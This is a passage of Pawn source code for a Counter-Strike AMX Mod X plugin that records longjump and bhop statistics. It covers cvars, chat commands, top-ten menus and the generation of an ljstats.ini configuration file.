new bj_strafes[NTOP];
new bj_sync[NTOP];
new bj_pretype[NTOP][32];

new sbj_names[NTOP][129];
new sbj_authid[NTOP][33];
new sbj_distance[NTOP];
new sbj_maxspeed[NTOP];
new sbj_prestrafe[NTOP];
new sbj_strafes[NTOP];
new sbj_sync[NTOP];
new sbj_pretype[NTOP][32];

new wj_names[NTOP][129];
new wj_authid[NTOP][33];
new wj_distance[NTOP];
new wj_maxspeed[NTOP];
new wj_prestrafe[NTOP];
new wj_strafes[NTOP];
new wj_sync[NTOP];
new wj_pretype[NTOP][32];

new lj_names[NTOP][129];
new lj_authid[NTOP][33];
new lj_distance[NTOP];
new lj_maxspeed[NTOP];
new lj_prestrafe[NTOP];
new lj_strafes[NTOP];
new lj_sync[NTOP];
new lj_pretype[NTOP][32];

new view_names[33][NSHOW][129];
new view_distance[33][NSHOW];
new view_maxspeed[33][NSHOW];
new view_prestrafe[33][NSHOW];
new view_strafes[33][NSHOW];
new view_sync[33][NSHOW];
new view_type[33][NSHOW][5];
new view_pretype[33][NSHOW][32];
new full_top_stats_selected_type[33];
new full_top_stats_selected_page[33];
new strafe_stat_sync[33][NSTRAFES][2]; // 0=good 1=bad
new buttons;
new strafecounter_oldbuttons[33];

// Bools
new bool:bljhelp[33];
new bool:StrafeStat[33];
new bool:fallDown[33];
new bool:possible_lj_script[33][2];
new bool:tops_save;
new bool:gHasColorChat[33];
new bool:gHasSpeed[33];
new bool:gHasLjStats[33];
new bool:testBhop[33];
new bool:gInAir[33];
new bool:isBhop[33];
new bool:cjumped[33];
new bool:doubleducked[33];
new bool:cducked[33];
new bool:induck[33];
new bool:OnGround[33];
new bool:turning_right[33];
new bool:turning_left[33];
new bool:strafing_aw[33];
new bool:strafing_sd[33];
new bool:bljbeam[33];

// Floats
new Float:fMaxGroundBhopSpeed[33];
new Float:ljhel[33][3];
new Float:strafe_stat_time[33][NSTRAFES]; //[id][#of strafes for stat][goodStat/Badstat]  (of speed)
new Float:strafe_stat_speed[33][NSTRAFES][2]; //[id][#of strafes for stat][goodStat/Badstat]  (of speed)
new Float:TempSpeed[33]; 
new Float:vBeamPos[33][129][3];
new Float:vBeamPosStatus[33][129];
new Float:vBeamTime[33][129];
new Float:vBeamLastTime[33];
new Float:old_angle1[33];
new Float:angle[3];
new Float:vFramePos[33][2][3];
new Float:vFrameSpeed[33][2][3];
new Float:vDuckedAt[33][3];
new Float:vFallAt[33][3];
new Float:vJumpedAt[33][3];
new Float:vJumpedAt2[3];
new Float:xDistance;
new Float:yDistance;
new Float:fDistance;
new Float:fDistance1;
new Float:fDistance2;
new Float:rDistance[3];
new Float:rLandPos[3];
new Float:vOrigin[3];
new Float:vLastFrameOrigin[33][3];
//new Float:vLastFrameVelocity[33][3];
new Float:vOldOrigin[33][3];
//new Float:vOldOrigin2[33];
new Float:vTraceEnd[3];
new Float:fMaxAirSpeed[33];
new Float:fMaxGroundSpeed[33];
new Float:fCjPreSpeed[33];
new Float:vVelocity[3];
//new Float:realDist[33];
new Float:fSpeed;
new Float:gSpeed;
//new Float:OldOldSpeed[33];
//new Float:OldSpeed[33];
new Float:frame2time;
new Float:jumptime[33];
new Float:lasttime[33];
new Float:beam_jump_off_time[33];

// Plugin strings
new const gPLUGIN[] = "LjS - eXtreme Mod";
new const gVERSION[] = "2.2b7 Lt.RAT`s & .tv!X^^ edition v4 bl";
new const gVERSION_NUM[] = "22007";
new const gAUTHOR[] = "Lt.RAT & .tv!X^^ ";

// Cvars
new kz_ljs_enabled;
//new kz_good_lj;
//new kz_pro_lj;
//new kz_leet_lj;
new kz_min_lj;
new kz_min_lj_c;
new kz_max_lj;
new kz_cj_dif;
new kz_lj_sounds;
new kz_leet_lj_clr;
new kz_pro_lj_clr;
new kz_good_lj_clr;
new kz_leet_cj_clr;
new kz_pro_cj_clr;
new kz_good_cj_clr;
new kz_ljstats_red;
new kz_ljstats_green;
new kz_ljstats_blue;
new kz_ljs_beam;
new kz_legal_settings;
new kz_ljs_fastserver;
//new kz_ljs_autoserver;
new kz_ljs_speedtype;
new kz_ljs_connectenabler;
new kz_ljs_viscmds;
new kz_ljs_tops;
new kz_ljs_topsave;
new kz_ljs_rank_by;
new kz_ljs_maptop;
new kz_min_bhop;
new kz_min_bhop_c;
new edgefriction;
new mp_footsteps;
new sv_cheats;
new sv_gravity;
new sv_maxspeed;
new sv_stepsize;
new sv_maxvelocity;

//new sv_lan;

public plugin_init()
{
	if( tops_save )
		read_tops();
	
	new s_plugin_id[32], filename[255];
	
	format(s_plugin_id, 31, "%d", plugin_id);
	format(filename, 254, "%s/ljs_plugin_info.txt", ljsDir);
	
	if( file_exists(filename) )
		delete_file(filename);
	
	write_file(filename, gVERSION_NUM);
	write_file(filename, s_plugin_id);
	write_file(filename, plugin_file_name);
	write_file(filename, gPLUGIN);
	write_file(filename, gVERSION);
	write_file(filename, gAUTHOR);
}

public plugin_start()
{
	plugin_id = register_plugin(gPLUGIN, gVERSION, gAUTHOR);
	register_cvar("LongJumpStats", gVERSION, FCVAR_SERVER);
	register_dictionary("common.txt");
	
	register_forward(FM_ShouldCollide,   "fwdTouch",           1);
	register_forward(FM_Touch,           "fwdTouch",           1);
	register_forward(FM_PlayerPreThink,  "fwdPlayerPreThink",  0);
	register_forward(FM_PlayerPostThink, "fwdPlayerPostThink", 0);
	register_forward(FM_StartFrame,      "fwdStartFrame",      0);
	register_forward(FM_CmdStart,	     "fwdCmdStart");
	
	
	kz_ljs_enabled        = register_cvar("kz_ljs_enabled",        "1");		// enables/disables the plugin
	//kz_good_lj            = register_cvar("kz_good_lj",            "240.0");	// good longjumps
	//kz_pro_lj             = register_cvar("kz_pro_lj",             "245.0");	// professional longjumps
	//kz_leet_lj            = register_cvar("kz_leet_lj",            "250.0");	// leet longjump
	kz_min_lj             = register_cvar("kz_min_lj",             "215.0");	// minimal longjump
	kz_min_lj_c           = register_cvar("kz_min_lj_c",           "230.0");	// minimal longjump to see
	kz_min_bhop	      = register_cvar("kz_min_bhop", 	       "210.0");	// minimal bhop
	kz_min_bhop_c	      = register_cvar("kz_min_bhop_c", 	       "220.0");	// minimal bhop
	kz_max_lj             = register_cvar("kz_max_lj",             "260.0");	// maximal longjump
	kz_cj_dif             = register_cvar("kz_cj_dif",             "10.0");		// difrence between lj and cj
	kz_lj_sounds          = register_cvar("kz_lj_sounds",          "1");		// enables leet/pro/good lj/cj sounds
	kz_leet_lj_clr        = register_cvar("kz_leet_lj_clr",        "1");		// color of leet lj (1=red, 2=green, 3=blue, 4=gray, 5=team, 0=default)
	kz_pro_lj_clr         = register_cvar("kz_pro_lj_clr",         "2");		// color of pro lj
	kz_good_lj_clr        = register_cvar("kz_good_lj_clr",        "4");		// color of good lj
	kz_leet_cj_clr        = register_cvar("kz_leet_cj_clr",        "1");		// color of leet lj
	kz_pro_cj_clr         = register_cvar("kz_pro_cj_clr",         "2");		// color of pro lj
	kz_good_cj_clr        = register_cvar("kz_good_cj_clr",        "4");		// color of good lj
	kz_ljstats_red        = register_cvar("kz_ljstats_red",        "0");		// red color of /ljstats
	kz_ljstats_green      = register_cvar("kz_ljstats_green",      "180");		// green color of /ljstats
	kz_ljstats_blue       = register_cvar("kz_ljstats_blue",       "11");		// blue color of /ljstats
	kz_ljs_beam           = register_cvar("kz_ljs_beam",           "2");		// 0=beam off, 1=normal beam, 2=uber beam
	kz_legal_settings     = register_cvar("kz_legal_settings",     "1");		// enables protection 4 legal kreedz settings
	kz_ljs_fastserver     = register_cvar("kz_ljs_fastserver",     "1");            // Is your server fast? (0=slow, 1=normal, 2=good)
	//kz_ljs_autoserver     = register_cvar("kz_ljs_autoserver",     "1");		// Authomaticaly detect what cvar of kz_ljs_fastserver should be?
	kz_ljs_speedtype      = register_cvar("kz_ljs_speedtype",      "0");		// Speedometer type
	kz_ljs_connectenabler = register_cvar("kz_ljs_connectenabler", "ab");		// What is enabled at connect (0=nothing, a=colorchat, b=ljstats, c=speed)
	kz_ljs_viscmds        = register_cvar("kz_ljs_viscmds",        "1");		// Do you want say commands to be apeard on the chat?
	kz_ljs_tops           = register_cvar("kz_ljs_tops",           "3");		// LongJump top (0=Nothing, 1=ColorChat, 2=top, 3=top+ColorChat)
	kz_ljs_topsave        = register_cvar("kz_ljs_topsave",        "1");		// Do you want to save ljtop after mapchange?
	kz_ljs_rank_by        = register_cvar("kz_ljs_rank_by",        "2");		// How ranking will work? 0=name, 1=steam, 2=ip
	kz_ljs_maptop         = register_cvar("kz_ljs_maptop",         "1");		// Enable map top
	
	edgefriction          = get_cvar_pointer("edgefriction");
	mp_footsteps          = get_cvar_pointer("mp_footsteps");
	sv_cheats             = get_cvar_pointer("sv_cheats");
	sv_gravity            = get_cvar_pointer("sv_gravity");
	sv_maxspeed           = get_cvar_pointer("sv_maxspeed");
	sv_stepsize           = get_cvar_pointer("sv_stepsize");
	sv_maxvelocity        = get_cvar_pointer("sv_maxvelocity");
//	sv_lan                = get_cvar_pointer("sv_lan");
	
/*	
	server_settings[33][0] = "1";
	server_settings[33][1] = "260.0";
	server_settings[33][2] = "250.0";
	server_settings[33][3] = "245.0";
	server_settings[33][4] = "240.0";
	server_settings[33][5] = "215.0";
	server_settings[33][6] = "5.0";
	server_settings[33][7] = "1";
	server_settings[33][8] = "3";
	server_settings[33][9] = "1";
	server_settings[33][10] = "0";
	server_settings[33][11] = "1";
	server_settings[33][12] = "2";
	server_settings[33][13] = "4";
	server_settings[33][14] = "1";
	server_settings[33][15] = "2";
	server_settings[33][16] = "4";
	server_settings[33][17] = "0";
	server_settings[33][18] = "255";
	server_settings[33][19] = "159";
	server_settings[33][20] = "2";
	server_settings[33][21] = "1";
	server_settings[33][22] = "2";
	server_settings[33][23] = "1";
	server_settings[33][24] = "abc";
	server_settings[33][25] = "1";
	server_settings[33][26] = "0";
*/
	configurate_plugin();
	
	register_menucmd(register_menuid("LongJump Stats Menu"),  1023, "LjsMenu_Select");
	register_menucmd(register_menuid("Top 10 Menu"),          1023, "MainTopMenu_Select");
	register_menucmd(register_menuid("Full top stats"),       1023, "FullTopMenu_Select");
	register_menucmd(register_menuid("Show best longjumper"), 1023, "LeetJumpMenu_Select");
	
	
	tops_save = true;
	new LJS_ADMIN = ADMIN_MAP;
	if( get_pcvar_num(kz_ljs_topsave) )
		LJS_ADMIN = ADMIN_RCON;
	else
		tops_save = false;
	
	register_concmd("amx_resetljrec",  "topreset",         LJS_ADMIN, "- resets ljrec and ljtops");
	register_concmd("amx_resetljtops", "topreset",         LJS_ADMIN, "- resets ljrec and ljtops");
	
	register_clcmd("say /colorchat",  "cmdColorChat",      ADMIN_ALL, "- enables/disables colorchat");
	register_clcmd("say /ljstats",    "cmdLjStats",        ADMIN_ALL, "- enables/disables longjump stats");
	register_clcmd("say /ljsversion", "cmdVersion",        ADMIN_ALL, "- prints plugin version");
	register_clcmd("say /speed",      "cmdSpeed",          ADMIN_ALL, "- enabled/disables visible speed");
	register_clcmd("say /strafestat", "cmdStrafeStat",     ADMIN_ALL, "- enabled/disables strafe statistics");
	register_clcmd("say /ljlinear",   "cmdljhelp",         ADMIN_ALL, "- enabled/disables");
	register_clcmd("say /ljbeam",     "cmdljbeam",         ADMIN_ALL, "- enabled/disables");
	
	register_clcmd("say /ljsmenu",    "cmdLjsMenu",        ADMIN_ALL, "- display ljs menu");
	register_clcmd("say /cj15",       "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /cjtop15",    "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /cj10",       "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /cjtop10",    "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /cjtop",      "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bj15",       "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bjtop15",    "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bj10",       "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bjtop10",    "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bjtop",      "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bhop15",     "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bhop10",     "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /bhop",       "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /lj15",       "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /ljtop15",    "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /lj10",       "cmdTopMenu",        ADMIN_ALL, "- display tops menu");
	register_clcmd("say /ljtop10",    "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /ljtop",      "cmdTopMenu",        -1,        "- display tops menu");
	register_clcmd("say /ljrec",      "show_leet_ljumper", ADMIN_ALL, "- display records menu");
	register_clcmd("say /cjrec",      "show_leet_ljumper", -1,        "- display records menu");
	register_clcmd("say /bjrec",      "show_leet_ljumper", -1,	  "- display records menu");
	register_clcmd("say /sbjrec",     "show_leet_ljumper", -1,        "- display records menu");
	register_clcmd("say /wjrec",      "show_leet_ljumper", -1,        "- display records menu");
	
	register_clcmd("say /tele",       "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say /tp",         "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say /gocheck",    "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say /gc",         "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say .tele",       "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say .tp",         "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say .gocheck",    "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say .gc",         "gocheckBoth",           -1,        " - teleported");
	register_clcmd("/tele",           "gocheckBoth",           -1,        " - teleported");
	register_clcmd("/tp",             "gocheckBoth",           -1,        " - teleported");
	register_clcmd("/gocheck",        "gocheckBoth",           -1,        " - teleported");
	register_clcmd("/gc",             "gocheckBoth",           -1,        " - teleported");
	register_clcmd(".tele",           "gocheckBoth",           -1,        " - teleported");
	register_clcmd(".tp",             "gocheckBoth",           -1,        " - teleported");
	register_clcmd(".gocheck",        "gocheckBoth",           -1,        " - teleported");
	register_clcmd(".gc",             "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say /stuck",      "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say /unstuck",    "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say .stuck",      "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say .unstuck",    "gocheckBoth",           -1,        " - teleported");
	register_clcmd("/stuck",          "gocheckBoth",           -1,        " - teleported");
	register_clcmd("/unstuck",        "gocheckBoth",           -1,        " - teleported");
	register_clcmd(".stuck",          "gocheckBoth",           -1,        " - teleported");
	register_clcmd(".unstuck",        "gocheckBoth",           -1,        " - teleported");
	register_clcmd("say /start",      "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say /reset",      "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say /restart",    "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say /spawn",      "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say .start",      "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say .reset",      "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say .restart",    "gocheckBoth",           -1,        " - reseted");
	register_clcmd("say .spawn",      "gocheckBoth",           -1,        " - reseted");
	register_clcmd("/start",          "gocheckBoth",           -1,        " - reseted");
	register_clcmd("/reset",          "gocheckBoth",           -1,        " - reseted");
	register_clcmd("/restart",        "gocheckBoth",           -1,        " - reseted");
	register_clcmd("/spawn",          "gocheckBoth",           -1,        " - reseted");
	register_clcmd(".start",          "gocheckBoth",           -1,        " - reseted");
	register_clcmd(".reset",          "gocheckBoth",           -1,        " - reseted");
	register_clcmd(".restart",        "gocheckBoth",           -1,        " - reseted");
	register_clcmd(".spawn",          "gocheckBoth",           -1,        " - reseted");
	register_clcmd("+hook",           "gocheckBoth",           -1,        " - used hook");
	register_clcmd("-hook",           "gocheckBoth",           -1,        " - used hook");
		
	new dataDir[64];
	get_datadir(dataDir, 63);
	format(ljsDir, 63, "%s/ljs", dataDir);
	if( !dir_exists(ljsDir) )
		mkdir(ljsDir);
	
	get_plugin(plugin_id, plugin_file_name, 63, "", 0, "", 0, "", 0, "", 0);
}

public fwdCmdStart(plr, uc_handle, seed)
{
	if ( is_user_alive( plr ) )
	{
		static g_iPlayerFps;
		g_iPlayerFps = get_uc(uc_handle, UC_Msec);

		if ( (g_iPlayerFps > 0 && g_iPlayerFps < 10))
		{
			gocheckBoth(plr);
		}
	}
}

public configurate_plugin()
{
/*	if( !get_ljsconfig(0) )
	{
		for( new i; i < 27; i++ )
			format(server_settings[0][i], 15, "%s", server_settings[33][i]);
	}
	setconfig_now(0);
*/
}

public setconfig_now(player)
{
/*
	set_cvar_string("kz_ljs_enabled", server_settings[player][0]);
	set_cvar_string("kz_max_lj", server_settings[player][1]);
	set_cvar_string("kz_leet_lj", server_settings[player][2]);
	set_cvar_string("kz_pro_lj", server_settings[player][3]);
	set_cvar_string("kz_good_lj", server_settings[player][4]);
	set_cvar_string("kz_min_lj", server_settings[player][5]);
	set_cvar_string("kz_cj_dif", server_settings[player][6]);
	set_cvar_string("kz_lj_sounds", server_settings[player][7]);
	set_cvar_string("kz_lj_top", server_settings[player][8]);
	set_cvar_string("kz_ljs_topsave", server_settings[player][9]);
	set_cvar_string("kz_ljs_rank_by", server_settings[player][10]);
	set_cvar_string("kz_leet_lj_clr", server_settings[player][11]);
	set_cvar_string("kz_pro_lj_clr", server_settings[player][12]);
	set_cvar_string("kz_good_lj_clr", server_settings[player][13]);
	set_cvar_string("kz_leet_cj_clr", server_settings[player][14]);
	set_cvar_string("kz_pro_cj_clr", server_settings[player][15]);
	set_cvar_string("kz_good_cj_clr", server_settings[player][16]);
	set_cvar_string("kz_ljstats_red", server_settings[player][17]);
	set_cvar_string("kz_ljstats_green", server_settings[player][18]);
	set_cvar_string("kz_ljstats_blue", server_settings[player][19]);
	set_cvar_string("kz_ljs_beam", server_settings[player][20]);
	set_cvar_string("kz_legal_settings", server_settings[player][21]);
	if( str_to_num(server_settings[player][22]) == 2 && str_to_num(server_settings[player][23]) )
	{
		if( !is_dedicated_server() && get_pcvar_num(sv_lan) != 0 )
			set_cvar_string("kz_ljs_fastserver", "2");
		else
			set_cvar_string("kz_ljs_fastserver", "1");
	}
	else
		set_cvar_string("kz_ljs_fastserver", server_settings[player][22]);
	set_pcvar_num(kz_ljs_autoserver, str_to_num(server_settings[player][23]));
	set_cvar_string("kz_ljs_connectenabler", server_settings[player][24]);
	set_cvar_string("kz_ljs_viscmds", server_settings[player][25]);
	set_cvar_string("kz_ljs_speedtype", server_settings[player][26]);
*/
}

stock get_ljsconfig(player)
{
	static configsDir[64], filename[128];
	get_configsdir(configsDir, 63);
	format(filename, 127, "%s/ljstats.ini", configsDir);
	
	if( !dir_exists(configsDir) )
		mkdir(configsDir);
		
	if( !file_exists(filename) )
	{
		log_amx("LjS: Error: Configuration file <^"%s^"> not found!", filename);
		log_amx("LjS: Creating file...");
		write_file(filename, "; .-==========================================-.");
		write_file(filename, "; |~~ Long Jump Stats - eXtreme Modification ~~|");
		write_file(filename, "; .-==========================================-.");
		write_file(filename, "");
		write_file(filename, "");
		write_file(filename, "; Enabled/Disables the plugin");
		write_file(filename, "; 0 = disabled");
		write_file(filename, "; 1 = enabled");
		write_file(filename, "; Cvar kz_ljs_enabled (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; Maximum possible lj (not 4 cj)");
		write_file(filename, "; Cvar kz_max_lj (default ^"260.0^")");
		write_file(filename, "260.0");
		write_file(filename, "");
		write_file(filename, "; 1337 lj (prints to all players)");
		write_file(filename, "; To disable, set it to -1");
		write_file(filename, "; Cvar kz_leet_lj (default ^"250.0^")");
		write_file(filename, "250.0");
		write_file(filename, "");
		write_file(filename, "; Professional lj (prints to all players)");
		write_file(filename, "; To disable, set it to -1");
		write_file(filename, "; Cvar kz_pro_lj (default ^"245.0^")");
		write_file(filename, "245.0");
		write_file(filename, "");
		write_file(filename, "; Good lj (prints to all players)");
		write_file(filename, "; To disable, set it to -1");
		write_file(filename, "; Cvar kz_good_lj (default ^"240.0^")");
		write_file(filename, "240.0");
		write_file(filename, "");
		write_file(filename, "; Minimal lj distance");
		write_file(filename, "; Cvar kz_min_lj (default ^"215.0^")");
		write_file(filename, "215.0");
		write_file(filename, "");
		write_file(filename, "; Difrence between longjump and countjump for good/pro/leet/max jump");
		write_file(filename, "; Cvar kz_cj_dif (default ^"10.0^")");
		write_file(filename, "10.0");
		write_file(filename, "");
		write_file(filename, "; Enables lj sounds");
		write_file(filename, "; 0 = disabled");
		write_file(filename, "; 1 = ultimate sounds");
		write_file(filename, "; 2 = distance in voice");
		write_file(filename, "; Cvar kz_lj_sounds (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; How dose plugin works");
		write_file(filename, "; 0 = no top and no colorchat");
		write_file(filename, "; 1 = prints good/pro/leet jumps");
		write_file(filename, "; 2 = enables top10");
		write_file(filename, "; 3 = prints good/pro/leet jumps and enables top10");
		write_file(filename, "; Cvar kz_lj_top (default ^"3^")");
		write_file(filename, "3");
		write_file(filename, "");
		write_file(filename, "; Do you want to save ljtop after mapchange?");
		write_file(filename, "; Cvar kz_ljs_topsave (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; How ranking will work?");
		write_file(filename, "; 0 = names");
		write_file(filename, "; 1 = steam ids");
		write_file(filename, "; 2 = ips");
		write_file(filename, "; Cvar kz_ljs_rank_by (default ^"0^")");
		write_file(filename, "0");
		write_file(filename, "");
		write_file(filename, "; Kz jumping color chat:");
		write_file(filename, "; 0 = normal");
		write_file(filename, "; 1 = red");
		write_file(filename, "; 2 = green");
		write_file(filename, "; 3 = blue");
		write_file(filename, "; 4 = silver");
		write_file(filename, "; 5 = team color");
		write_file(filename, "");
		write_file(filename, "; Cvar kz_leet_lj_clr (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "; Cvar kz_pro_lj_clr (default ^"2^")");
		write_file(filename, "2");
		write_file(filename, "; Cvar kz_good_lj_clr (default ^"4^")");
		write_file(filename, "4");
		write_file(filename, "");
		write_file(filename, "; Cvar kz_leet_cj_clr (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "; Cvar kz_pro_cj_clr (default ^"2^")");
		write_file(filename, "2");
		write_file(filename, "; Cvar kz_good_cj_clr (default ^"4^")");
		write_file(filename, "4");
		write_file(filename, "");
		write_file(filename, "; Colors of /ljstats (rrr ggg bbb)");
		write_file(filename, "; Cvar kz_ljstats_red (default ^"0^")");
		write_file(filename, "0");
		write_file(filename, "; Cvar kz_ljstats_green (default ^"255^")");
		write_file(filename, "255");
		write_file(filename, "; Cvar kz_ljstats_blue (^"159^")");
		write_file(filename, "159");
		write_file(filename, "");
		write_file(filename, "; LongJump Stats Laser Beam");
		write_file(filename, "; 0 = off");
		write_file(filename, "; 1 = normal");
		write_file(filename, "; 2 = uber beam");
		write_file(filename, "; Cvar kz_ljs_beam (default ^"2^")");
		write_file(filename, "2");
		write_file(filename, "");
		write_file(filename, "; Enables protection 4 legal kreedz settings");
		write_file(filename, "; Cvar kz_legal_settings (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; Is your server fast?");
		write_file(filename, "; 0 = slow");
		write_file(filename, "; 1 = normal");
		write_file(filename, "; 2 = realy good ( >10mb/s or localhost/lan server )");
		write_file(filename, "; Cvar kz_ljs_fastserver (default ^"2^")");
		write_file(filename, "2");
		write_file(filename, "");
		write_file(filename, "; Enables auto-setting 4 kz_ljs_fastserver cvar if it is 2");
		write_file(filename, "; Cvar kz_ljs_autoserver (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; What is enabled on client when he connects to a server?");
		write_file(filename, "; 0 = nothing");
		write_file(filename, "; a = colorchat");
		write_file(filename, "; b = ljstats");
		write_file(filename, "; c = speed");
		write_file(filename, "; Cvar kz_ljs_connectenabler (default ^"abc^")");
		write_file(filename, "abc");
		write_file(filename, "");
		write_file(filename, "; Do you want cmds like /speed to be visible in the chat?");
		write_file(filename, "; Cvar kz_ljs_viscmds (default ^"1^")");
		write_file(filename, "1");
		write_file(filename, "");
		write_file(filename, "; Speedometer type");
		write_file(filename, "; 0 = show real speed and horizontal speed");
		write_file(filename, "; 1 = show real speed");
		write_file(filename, "; 2 = show horizontal speed");
		write_file(filename, "; Cvar kz_ljs_speedtype (default ^"0^")");
		write_file(filename, "0");
		if( file_exists(filename) )
		{
			log_amx("LjS: File <^"%s^"> successfully created.", filename);
			log_amx("LjS: All settings are setted by default.");
		}
		else
		{
			log_amx("LjS: Fatal-Error: Creation of <^"%s^"> file failed!", filename);
			log_amx("LjS: Disabeling plugin...");
			set_cvar_string("kz_ljs_enabled", "0");
			if( get_cvar_num("kz_ljs_enabled") )
			{
				if( !plugin_file_name[0] )
					return 0;
				
				log_amx("LjS: Fatal-Error: Omg, plugin cannot be disabled by cvar... Check your amxx!!!");
				log_amx("LjS: Disabeling plugin by turning off the code.");
				pause("ac", plugin_file_name);
			}
			return 0;
		}
	}
	
	new ljs_cvar_num;
	for( ljs_cvar_num = INFO_ZERO; ljs_cvar_num < 27; ljs_cvar_num++ )
		server_settings[player][ljs_cvar_num] = "";
	
	ljs_cvar_num = 0;
	new i, line, text[16], txtsize;
	for( i = INFO_ZERO; i < 255; i++ )
	{
		if( (line=read_file(filename, line, text, 15, txtsize)) != 0 )
		{
			if( text[0] == ';' || (text[0] == '/' && text[1] == '/') || !text[0] || text[0] == ' ' )
				continue;
			else
			{
				format(server_settings[player][ljs_cvar_num], 15, "%s", text);
				ljs_cvar_num += 1;
				if( ljs_cvar_num == 27 )
					break;
			}
		}
		else
			break;
	}
	
	delete_file(filename);
	write_file(filename, "; .-==========================================-.");
	write_file(filename, "; |~~ Long Jump Stats - eXtreme Modification ~~|");
	write_file(filename, "; .-==========================================-.");
	write_file(filename, "");
	write_file(filename, "");
	write_file(filename, "; Enabled/Disables the plugin");
	write_file(filename, "; 0 = disabled");
	write_file(filename, "; 1 = enabled");
	write_file(filename, "; Cvar kz_ljs_enabled (default ^"1^")");
	if( server_settings[player][0][0] )
		write_file(filename, server_settings[player][0]);
	else
	{
		fix_config(1, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Maximum possible lj (not 4 cj)");
	write_file(filename, "; Cvar kz_max_lj (default ^"260.0^")");
	if( server_settings[player][1][0] )
		write_file(filename, server_settings[player][1]);
	else
	{
		fix_config(2, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; 1337 lj (prints to all players)");
	write_file(filename, "; To disable, set it to -1");
	write_file(filename, "; Cvar kz_leet_lj (default ^"250.0^")");
	if( server_settings[player][2][0] )
		write_file(filename, server_settings[player][2]);
	else
	{
		fix_config(3, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Professional lj (prints to all players)");
	write_file(filename, "; To disable, set it to -1");
	write_file(filename, "; Cvar kz_pro_lj (default ^"245.0^")");
	if( server_settings[player][3][0] )
		write_file(filename, server_settings[player][3]);
	else
	{
		fix_config(4, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Good lj (prints to all players)");
	write_file(filename, "; To disable, set it to -1");
	write_file(filename, "; Cvar kz_good_lj (default ^"240.0^")");
	if( server_settings[player][4][0] )
		write_file(filename, server_settings[player][4]);
	else
	{
		fix_config(5, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Minimal lj distance");
	write_file(filename, "; Cvar kz_min_lj (default ^"215.0^")");
	if( server_settings[player][5][0] )
		write_file(filename, server_settings[player][5]);
	else
	{
		fix_config(6, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Difrence between longjump and countjump for good/pro/leet/max jump");
	write_file(filename, "; Cvar kz_cj_dif (default ^"10.0^")");
	if( server_settings[player][6][0] )
		write_file(filename, server_settings[player][6]);
	else
	{
		fix_config(7, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Enables lj sounds");
	write_file(filename, "; 0 = disabled");
	write_file(filename, "; 1 = ultimate sounds");
	write_file(filename, "; 2 = distance in voice");
	write_file(filename, "; Cvar kz_lj_sounds (default ^"1^")");
	if( server_settings[player][7][0] )
		write_file(filename, server_settings[player][7]);
	else
	{
		fix_config(8, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; How dose plugin works");
	write_file(filename, "; 0 = no top and no colorchat");
	write_file(filename, "; 1 = prints good/pro/leet jumps");
	write_file(filename, "; 2 = enables top10");
	write_file(filename, "; 3 = prints good/pro/leet jumps and enables top10");
	write_file(filename, "; Cvar kz_lj_top (default ^"3^")");
	if( server_settings[player][8][0] )
		write_file(filename, server_settings[player][8]);
	else
	{
		fix_config(9, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Do you want to save ljtop after mapchange?");
	write_file(filename, "; Cvar kz_ljs_topsave (default ^"1^")");
	if( server_settings[player][9][0] )
		write_file(filename, server_settings[player][9]);
	else
	{
		fix_config(10, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; How ranking will work?");
	write_file(filename, "; 0 = names");
	write_file(filename, "; 1 = steam ids");
	write_file(filename, "; 2 = ips");
	write_file(filename, "; Cvar kz_ljs_rank_by (default ^"0^")");
	if( server_settings[player][10][0] )
		write_file(filename, server_settings[player][10]);
	else
	{
		fix_config(11, player);
		return 1;
	}
	write_file(filename, "");
	write_file(filename, "; Kz jumping color chat:");
	write_file(filename, "; 0 = normal");
